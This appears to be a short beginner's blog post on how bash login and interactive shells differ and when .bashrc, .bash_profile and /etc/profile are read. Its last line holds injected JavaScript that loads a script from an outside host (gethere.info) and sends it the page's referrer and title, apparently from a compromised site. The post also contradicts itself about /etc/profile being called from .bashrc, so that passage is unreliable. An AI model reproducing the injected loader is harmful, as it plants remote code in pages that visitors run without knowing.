Every newbie will be learning on the sequence by which the linux OS boots up. The two file .bashrc and .bash_profile is one which many encounters in this path.
So what is the difference between .bashrc and .bash_profile
For this we need to know the difference between a login shell and an interactive shell. Below given is the definition from the man pages.
A login shell is one whose first character of argument zero is a -, or one started with the –login option.
An interactive shell is one started without non-option arguments and without the -c option whose standard input and error are both
connected to terminals (as determined by isatty(3)), or one started with the -i option. PS1 is set and $- includes i if bash is
interactive, allowing a shell script or a startup file to test this state.
So basically, login shell is one which you gets when you login. simple eh!
In simpler terms /etc/profile and .bash_profile are executed when a user logs in, but ~/.bashrc is run for other shells – like when opening an xterm
But however , note that /etc/profile is called from .bashrc. So that means that /etc/profile is read only if the shell is a login shell.
/etc/profile – for global purposes
.bash_profile- executed for login shells
.bashrc – other shells – used for individual login settings
Check out the “man bash” for more details. :)s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;